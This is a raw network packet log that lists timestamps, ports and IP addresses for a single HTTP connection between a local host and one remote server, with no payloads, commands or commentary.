Jun 29, 2024 08:05:16.529150009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529170990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529227018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529236078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529246092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529258013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529257059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529287100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529342890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529361963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529371977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529381990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529390097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529406071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529465914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529474974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529484034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529494047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529498100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529531956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529531956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529596090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529604912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529614925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529622078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529623985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529675007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529675007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529710054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529720068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529730082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529740095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529763937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529763937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529823065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529834032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529843092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529844999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529897928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529913902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529925108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.529988050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.529988050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.597877979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.597889900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.597915888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.597928047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.597939014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.597950935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.597961903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.597966909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598014116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598014116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598048925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598058939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598102093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598110914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598179102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598190069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598201036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598201990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598233938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598278046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598282099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598315954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598334074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598345995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.598366976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.598496914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.601079941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601166964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601177931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601195097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601200104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.601206064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601222992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.601243973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601254940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601264954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.601264954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.601418972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.601733923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.601929903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.602252960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602308989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602319956 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602358103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602369070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602380991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602392912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602406979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.602406979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.602447987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.602482080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.602511883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.603456020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.615689993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.615705013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.615809917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.615858078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.615869045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.615884066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.615884066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.615982056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.615992069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616000891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616014004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616043091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616050005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616050959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616050005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616060972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616070986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616080046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616092920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616092920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616151094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616182089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616192102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616264105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616272926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616281986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616291046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616298914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616302013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616338015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616368055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616398096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616414070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616425037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616434097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616442919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616456032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616504908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616535902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616600990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616609097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616614103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616624117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616636992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616647005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616667032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616723061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616723061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616728067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616817951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616828918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616837978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616847992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616857052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616866112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.616878986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616919994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.616919994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617244005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617254019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617265940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617294073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617300987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617305040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617315054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617326021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617333889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617336988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617345095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617352962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617357016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617362976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617373943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617377043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617383957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617396116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617413044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617446899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617455959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617465973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617475986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617485046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.617494106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617494106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617495060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617537022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.617537022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618274927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618283033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618293047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618324995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618334055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618345022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618346930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618376017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618427038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618493080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618583918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618593931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618614912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618626118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618634939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618644953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618653059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618673086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618716955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618766069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618776083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618786097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618794918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618804932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618814945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618817091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618837118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618900061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618911982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618979931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618979931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.618989944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.618999004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619009018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619016886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619034052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619065046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619131088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619139910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619144917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619149923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619163990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619177103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619190931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619203091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619204998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619204998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619230032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619273901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619302988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619378090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619379044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619393110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619404078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619414091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619435072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619510889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619512081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619523048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619533062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.619589090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.619589090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687495947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687506914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687516928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687586069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687594891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687604904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687613010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687613964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687616110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687624931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687638998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687669992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687669992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687690020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687697887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687756062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687767029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687829971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687829971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687868118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687876940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687886000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687895060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687905073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.687916994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687946081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.687946081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.690768003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.690817118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.690826893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.690933943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.690943003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.690954924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.690963984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.690963984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.690993071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.691073895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.691947937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.691998959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.692009926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.692058086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.692068100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.692091942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.692293882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.692519903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.692539930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.692601919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.692601919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705378056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705400944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705410957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705446005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705503941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705508947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705513954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705523968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705635071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705796003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705806971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705822945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705832958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705842972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705852985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705852985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705863953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705873013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705897093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705897093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705904961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705914021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705924034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705930948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705935001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705945015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705948114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.705955029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705965996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.705966949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706012011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706012011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706134081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706144094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706152916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706162930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706195116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:16.706271887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706280947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:16.706290960 CEST	80	49731	81.28.12.12	192.168.2.4
